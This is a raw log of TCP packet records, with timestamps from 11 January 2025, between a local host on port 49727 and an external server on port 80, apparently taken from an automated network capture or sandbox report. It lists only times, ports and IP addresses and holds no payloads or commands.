Jan 11, 2025 02:13:38.517452955 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.517497063 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517509937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517523050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517548084 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.517573118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517575026 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.517585039 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.517633915 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518165112 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518176079 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518182993 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518188000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518198967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518238068 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518239975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518254042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518265009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518270016 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518279076 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518289089 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518295050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518307924 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518318892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518340111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518348932 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518352985 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518379927 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518512964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518532038 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518543005 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518558979 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518587112 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518599033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518610954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518625975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518637896 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.518652916 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518681049 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.518704891 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519171000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519182920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519196033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519227982 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.519248009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519258976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.519259930 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519299030 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.519413948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519426107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519437075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519443035 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519448996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519522905 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.519563913 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519576073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519587040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.519613028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.519623041 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520117044 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520128965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520139933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520179033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520181894 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520190954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520203114 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520214081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520221949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520248890 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520386934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520397902 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520411015 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520421982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520431042 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520436049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520448923 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.520464897 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520493031 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.520963907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521009922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521019936 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.521022081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521060944 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.521193981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521204948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521214962 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521224976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521236897 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521296978 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.521339893 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.521384001 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.524586916 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.524599075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.524610043 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.524645090 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.524658918 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.524725914 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.524812937 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.530034065 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.531079054 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531105042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531120062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531151056 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.531239033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531251907 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531263113 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531306982 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.531332970 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.531518936 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531533003 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531546116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531555891 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531567097 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.531600952 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.535623074 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.568409920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.568434954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.568445921 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.568470001 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.568490982 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604146957 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604171038 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604181051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604232073 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604233027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604280949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604298115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604311943 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604353905 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604454041 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604465961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604476929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604484081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604520082 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604557037 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604581118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604615927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604665041 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604676008 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604688883 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604700089 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604728937 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604832888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604845047 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604876995 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604887962 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604899883 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604912996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.604934931 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.604976892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.605048895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.605060101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.605096102 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.605138063 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642190933 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642213106 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642225027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642235994 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642249107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642260075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642307043 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642350912 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642362118 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642369032 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642399073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642484903 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642484903 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642484903 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642512083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642523050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642534018 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642553091 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642576933 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642652988 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642664909 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642676115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642688036 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642698050 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642726898 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642822981 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642833948 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642847061 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642869949 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.642963886 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642976046 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.642986059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643006086 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643030882 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643109083 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643121004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643132925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643155098 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643348932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643362045 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643373013 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643394947 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643419981 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643496037 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643508911 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643518925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643529892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643539906 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643551111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643558979 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643567085 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643583059 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643595934 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643769979 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643779993 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643815041 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643846989 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643858910 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643870115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.643887997 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.643913984 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644042969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644056082 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644067049 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644078016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644088984 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644090891 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644100904 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644126892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644145966 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644323111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644334078 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644345045 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644362926 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644373894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644385099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644385099 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644397020 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644408941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644419909 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.644437075 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.644469976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647209883 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647224903 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647237062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647257090 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647265911 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647277117 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647284985 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647322893 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647351027 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647362947 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647373915 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647403002 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647439957 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647485971 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647531033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647542000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647552967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647564888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647574902 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647577047 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647603989 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647674084 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647716045 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647799015 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647809982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647820950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647850037 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647933006 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647945881 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647958040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.647973061 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.647999048 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.648058891 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648070097 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648080111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648092031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648122072 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.648144960 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.648202896 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648215055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648226023 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648236036 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648247957 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.648277044 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.648461103 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648472071 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648483992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.648521900 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.655323982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655344963 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655356884 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655421019 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.655441999 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.655461073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655472040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655478001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655488014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.655522108 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.655534983 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.655630112 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.656441927 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691276073 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691296101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691307068 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691323996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691335917 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691346884 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691360950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691385984 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691430092 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691462040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691473961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691484928 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691495895 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691508055 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691524029 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691550970 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691684008 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691695929 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691732883 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691770077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691781044 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691791058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691802979 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691811085 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691816092 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691827059 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.691828012 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.691855907 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.692008972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.692019939 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.692049980 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.728938103 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.728951931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.728961945 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729048014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729059935 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729072094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729131937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729144096 CET	80	49727	193.143.1.205	192.168.2.10
Jan 11, 2025 02:13:38.729165077 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729165077 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729193926 CET	49727	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:13:38.729207039 CET	80	49727	193.143.1.205	192.168.2.10
